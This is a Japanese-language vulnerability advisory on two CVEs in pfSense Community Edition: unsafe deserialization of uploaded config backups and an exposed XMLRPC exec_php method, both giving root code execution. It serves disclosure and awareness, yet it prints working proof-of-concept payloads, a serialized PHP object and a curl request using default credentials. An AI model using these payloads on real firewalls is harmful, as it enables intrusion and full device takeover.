🔐 CVE-2025-69690 および CVE-2025-69691

Netgate pfSense Community Edition における認証済みリモートコード実行

📋 概要

⚠️ 免責事項

この研究は、教育およびセキュリティ意識向上のみを目的として、隔離されたラボ環境で実施されました。すべての発見事項は公開前に責任を持ってベンダーに開示されました。本アドバイザリは、本番システムへの攻撃を促すものではありません。許可のないテストは違法です。

🎯 CVE-2025-69690

安全でないデシリアライゼーション → RCE（pfSense CE 2.7.2）

説明

pfSenseの設定復元メカニズムは、クラスのホワイトリスト登録、入力検証、サンドボックス化を行わずに、ユーザー制御データに対して unserialize() を呼び出します。

悪意のあるシリアル化されたPHPオブジェクトを含む細工されたバックアップファイルは、post_reboot_commands プロパティを介して任意のコマンドを注入し、完全なroot権限で mwexec() を通じて実行されます。

攻撃フロー

[Attacker] → Login as admin
           → Upload malicious .xml backup file
           → Trigger restore
           → pfSense calls unserialize() on attacker data
           → post_reboot_commands executed via mwexec()
           → [ROOT SHELL]

影響を受けるコンポーネント

• config.php — 復元処理ロジック
• pfsense_module_installer クラス — 安全でないデシリアライゼーションのターゲット
• mwexec() — コマンド実行シンク

PoC ペイロード

O:23:"pfsense_module_installer":1:{
  s:17:"*post_reboot_commands";
  a:1:{
    i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
  }
}

影響

• ✅ rootとしての任意のOSコマンド実行
• ✅ 持続的なバックドアのインストール
• ✅ ファイアウォールの完全な乗っ取り
• ✅ 認証情報と設定の流出

ベンダーの対応

「確認済み。認証された管理者による悪用として分類。パッチは発行されません。」 — Netgate

🎯 CVE-2025-69691

XMLRPC exec_php → RCE（pfSense CE 2.8.0）

説明

pfSense CE 2.8.0 は、XMLRPC メソッド pfsense.exec_php を公開しており、検証、サンドボックス化、またはいかなる制限もなしに任意のPHPコードをrootとして実行します。

エンドポイントは以下の通りです。

• ✅ デフォルトで有効
• ✅ HTTPS 経由でリモートアクセス可能
• ✅ Basic認証のみで保護
• ✅ デフォルトの認証情報（admin:pfsense）で悪用可能

攻撃フロー

[Attacker] → Send XMLRPC request to /xmlrpc.php
           → Authenticate with admin:pfsense (default)
           → Call pfsense.exec_php with arbitrary PHP
           → Code executes as root, no sandboxing
           → [ROOT SHELL]

影響を受けるコンポーネント

• xmlrpc.php — API エントリポイント
• pfsense.exec_php — 安全でない動的コード実行
• BasicAuth 層 — 不十分なアクセス制御

PoC

curl -k -u admin:pfsense \
  -H "Content-Type: text/xml" \
  -d '<methodCall>
        <methodName>pfsense.exec_php</methodName>
        <params>
          <param>
            <value><string>system("id");</string></value>
          </param>
        </params>
      </methodCall>' \
  https://<target>/xmlrpc.php

影響

• ✅ 完全なリモートroot権限の奪取
• ✅ 任意のファイル読み書き
• ✅ バックドアの展開
• ✅ ファイアウォールルールの操作
• ✅ すべての認証情報と設定の抽出

ベンダーの対応

「確認済み。認証されたユーザーに対する期待される動作として分類。パッチの予定はありません。」 — Netgate

📅 タイムライン

November 2025     →  脆弱性発見
December 2, 2025  →  Netgateへの責任ある開示
                  →  ベンダー確認、パッチ未計画
January 28, 2026  →  MITREによりCVE ID割り当て
February 2026     →  公開開示

🔗 参照

• 🔴 CVE-2025-69690（cve.org）
• 🔴 CVE-2025-69691（cve.org）
• 📧 完全開示：[email protected]

👤 研究者

Nelson Adhepeau — 独立系セキュリティ研究者

📧 [email protected]